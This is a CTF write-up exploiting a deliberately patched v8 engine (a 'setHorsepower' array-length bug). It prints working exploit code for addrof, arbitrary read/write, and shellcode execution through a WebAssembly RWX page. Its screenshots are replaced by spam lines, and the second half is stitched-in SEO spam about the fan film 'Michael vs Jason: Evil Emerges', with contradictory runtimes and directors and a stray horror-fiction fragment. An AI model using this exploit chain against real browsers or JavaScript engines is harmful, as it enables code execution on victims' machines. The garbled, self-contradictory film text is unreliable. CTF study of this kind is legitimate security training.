Problem

Gotta go fast. server.py patch.txt
We are given the server.py python script, a d8 executeable and source code with a custom patch. I included the files directly relevant to the writeup above.

Solution

Looking at the provided patch, a very obvious vulnerability was introduced into v8. The patch adds a function called setHorsepower that allows us to set the length field of JSArray objects to a value of our chosing. The screenshot below showcases the relevant parts of the patch.

fylm michael vs jason evil emerges 2019 mtrjm fydyw lfth link



With this added vulnerability we can get an out of bounds read and write as showcased below. We start off by creating a JSArray object of type FixedDoubleArray. Next we use the setHorsepower function to increase its length to 0x100. We can now access out of bounds memory and both read and overwrite values stored on the v8-heap. We will now proceed to leverage this bug to take control of v8 and gain arbitrary code execution.

fylm michael vs jason evil emerges 2019 mtrjm fydyw lfth link



As you can see in the above screenshot, accessing arr[50] returned a float number due to the type of our array. Float numbers such as these are hard to interpret and use especially since they are oftentimes actually addresses that we would much rather view in hex. To accomplish this we will start by adding 2 helper functions.

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u32_buf = new Uint32Array(buf);

function ftoi(val) { 
    f64_buf[0] = val;
    return BigInt(u32_buf[0]) + (BigInt(u32_buf[1]) << 32n);
}

function itof(val) { 
    u32_buf[0] = Number(val & 0xffffffffn);
    u32_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}



The first helper function, ftoi, takes a value of type float and converts it to a BigInt value. The second helper function, itof, accepts a BigInt value as its argument and converts it to a float. This function will be important when trying to write values into memory.

Now that that is setup, our first goal will be to craft an addrof primitive. This primitive should allow us to pass in an arbitrary object and the function should return its address. We will accomplish this using our vulnerability.

var s = [1.1,2.2];
var obj = {"A":1};
var obj_arr = [obj];
var fl_arr = [3.3,4.4];
var tmp = new Uint8Array(8);
s.setHorsepower(0x100);

let obj_arr_elem = s[12];

function addrof(obj) {
    obj_arr[0] = obj;
    s[17] = obj_arr_elem;
    return ftoi(fl_arr[0]) & 0xffffffffn;
}



We start by creating some objects, and using the vulnerable function to extend the length of our float array s. By accessing various indexes of the s array we can now read and overwrite arbitrary values stored after the s array. Our first step is to retrieve the elements pointer of our obj_arr. This will become vital for the upcoming addrof primitive.

For the addrof function, we start by setting the first index of our obj_arr to the value address we are trying to leak. Next we use our vulnerability to overwrite the elements pointer of fl_arr with the elements pointer of our object array. This makes it so fl_arr[0] now points to the address we just stored in the obj_arr. Finally we use ftoi to return the value with type BigInt. Like this we successfuly managed to create a primitive that allows us to retrieve the addresses of our objects.

fylm michael vs jason evil emerges 2019 mtrjm fydyw lfth link



As you may have spotted in the above screenshot, we did not in fact leak the entire address of the passed in object. We only got the lower 4 bytes. This is due to a v8 concept called pointer compression. To save space, only the lower 4 bytes of addresses are stored on the v8 heap. Since the upper 4 bytes are always the same throughout a specific v8 process, this address is instead stored in the r13 register. We will need to find a way to leak this value too if we want to successfuly leak object addresses.

In the beginning of our exploit we executed 'var tmp = new Uint8Array(8);' to allocate a specific object. As it turns out, this object actually stores the root address in memory, so we can simply leak it by accessing s[32];

fylm michael vs jason evil emerges 2019 mtrjm fydyw lfth link



We now have everything needed to proceed with our next primitives. To be more specific, we want an arbitrary read and write. There are multiple ways to achieve this, but I decided to accomplish this primitive via a pair of ArrayBuffers.

function arb_read(obj,offset) {
    dv_1.setUint32(0, Number(addrof(obj)-1n+offset), true);
    return dv_2.getUint32(0, true);
}

function arb_write(addr,val) {
    w[21] = itof(BigInt(part_2)>>32n);
    dv_1.setUint32(0, Number(addr), true);   
    dv_2.setUint32(0, val, true);
}

var w = [1.1,2.2];
w.setHorsepower(0x100);
var arr_1 = new ArrayBuffer(0x40);
var dv_1 = new DataView(arr_1);
var arr_2 = new ArrayBuffer(0x40);
var dv_2 = new DataView(arr_2);

w[6] = itof((addrof(arr_2)+0x10n + 3n)<<32n);
w[7] = itof(BigInt(root_leak)>>32n);
w[21] = itof(BigInt(root_leak)>>32n);



Once again we start by allocating an arr w and extend its length using the vulnerable function to achieve an index read/write. Next we allocate 2 arraybuffers and their dataview objects.

fylm michael vs jason evil emerges 2019 mtrjm fydyw lfth link



In JSArrayBuffer objects, the backing store points to their elements. These elements can then be viewed and edited using the getUint32() and setUint32() functions. This means that if we overwrite the backing store pointer of arr_1 with the address of the backing store pointer of arr_2, we can execute 'dv_1.setUint32(addrof(obj));' to write an arbitrary address to the backing store pointer of arr_2. We can now use dv_2.(get/set) to complete our arbitrary read and write primitives by using the pointer received from arr_1.

We now have all of our primitives together. The last thing needed is a way to obtain code execution. With our primitives, the easiest way to achieve this is through shellcode and webassembly.

let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,...]);
let wasm_module = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_module);
let pwn = wasm_instance.exports.main;


When creating a wasm function as demonstrated above, a RWX page is created in memory. This address is then stored at wasm_instance + 0x68.

To complete our exploit, we start by leaking the address of the rwx page using our arb_read() function on wasm_instance + 0x68. Next we call copy_shellcode() to copy our shellcode over to this page step by step using arb_write(). Finally we execute the '/bin/cat ./flag.txt' shellcode to retrieve the flag and complete the challenge.

The full exploit script is posted below.

fylm michael vs jason evil emerges 2019 mtrjm fydyw lfth link

Fylm Michael Vs Jason Evil Emerges 2019 Mtrjm Fydyw Lfth Link Jun 2026

The film starts with the silent, masked Michael Myers wandering into the territory of Crystal Lake. It doesn’t take long for the resident protector, Jason Voorhees, to take notice. What follows is a relentless 30-minute battle through the woods, involving iconic weapons like the kitchen knife and the machete.

: John Pedder (Michael Myers) & Joshua Pedder (Jason Voorhees)

Critics and fans on platforms like IMDb praise the short film for respecting the lore and distinct combat styles of both characters.

Ryan Patrick Type: Fan Film (Unlicensed crossover) Runtime: Approx. 40–50 minutes Premise: After a series of unexplained murders in the woods near Crystal Lake, paranormal investigators and local law enforcement discover that both Michael Myers (from Halloween ) and Jason Voorhees ( Friday the 13th ) have been drawn to the same hunting ground. The film builds toward their inevitable confrontation while trying to honor both franchises.

Jason awakens in a forest, driven by his mother’s voice, while Michael escapes custody during a high-stakes transfer. Their paths collide when Jason "steals" one of Michael’s kills, leading to an unstoppable face-off. The film starts with the silent, masked Michael

I paused it. The player stalled, then relented with a single new file name appended: "fydyw_lfth_link." Clicking it opened a live feed — my own street, recorded from a camera perched where none of my neighbors owned equipment. The timestamp read five minutes from now.

Based on the keywords in your request, you are referring to the 2019 fan film (often searched in Arabic contexts as fylm michael vs jason evil emerges 2019 mtrjm ).

Bringing together the two most famous, masked, unstoppable silent killers.

The short fan film delivers the ultimate dream clash between slasher icons Michael Myers and Jason Voorhees. Directed by Luke Pedder, this 29-minute independent masterpiece features impressive choreography and brutal combat that rivals Hollywood productions. : John Pedder (Michael Myers) & Joshua Pedder

To safely view the film without clicking malicious or broken links, viewers can find the complete short film catalog directly on the creators' official streaming channels via the Radicool Talent YouTube Playlist . For deeper production trivia, cast lists, and user reviews, fans can also visit the film's dedicated page on IMDb .

Remarkably, despite its amateur origins, the quality of Michael vs. Jason: Evil Emerges caught the horror community completely off guard. The film garnered over 1.4 million views in its first few days and quickly climbed to over 2.3 million. Horror news outlets like Bloody Disgusting, SYFY Wire, and Scary Nerd all covered the phenomenon, praising its strong editing, effective sound design, and surprisingly high production values for a film made with no money. At its peak, the film had amassed over 7 million views, becoming a genuine viral hit and a beloved entry in horror fan film history.

Websites like YouTube or Vimeo might host fan-made videos or mashups. You can search for the movie title or specific scenes involving these characters.

The success of "Michael vs Jason: Evil Emerges" highlights a trend where independent filmmakers fill the void left by major studios. These projects allow for the exploration of "what if" scenarios, such as the ultimate battle between Michael and Jason, which may not be feasible within the corporate rights structures of the official franchises. The film builds toward their inevitable confrontation while

: Concurrently, Michael Myers (played by John Pedder) is being transported through the same woods by an elite military task force for a no-trial execution. Predictably, Michael breaks free from his restraints, overpowers his heavily armed captors, and reclaims his signature mask.

Experience the brutal opening and legendary clash between the two horror titans in the official fan film:

The phrase "mtrjm fydyw lfth link" often appears in searches looking for the direct streaming location or a downloadable link for the 2019 short film. You can find the to watch it in high quality. Legacy of the 2019 Fan Film

For a quick scan of the film's core details, review the breakdown below: Michael vs Jason: Evil Emerges Release Year: 2019 Director: Luke Pedder Run Time: 29 minutes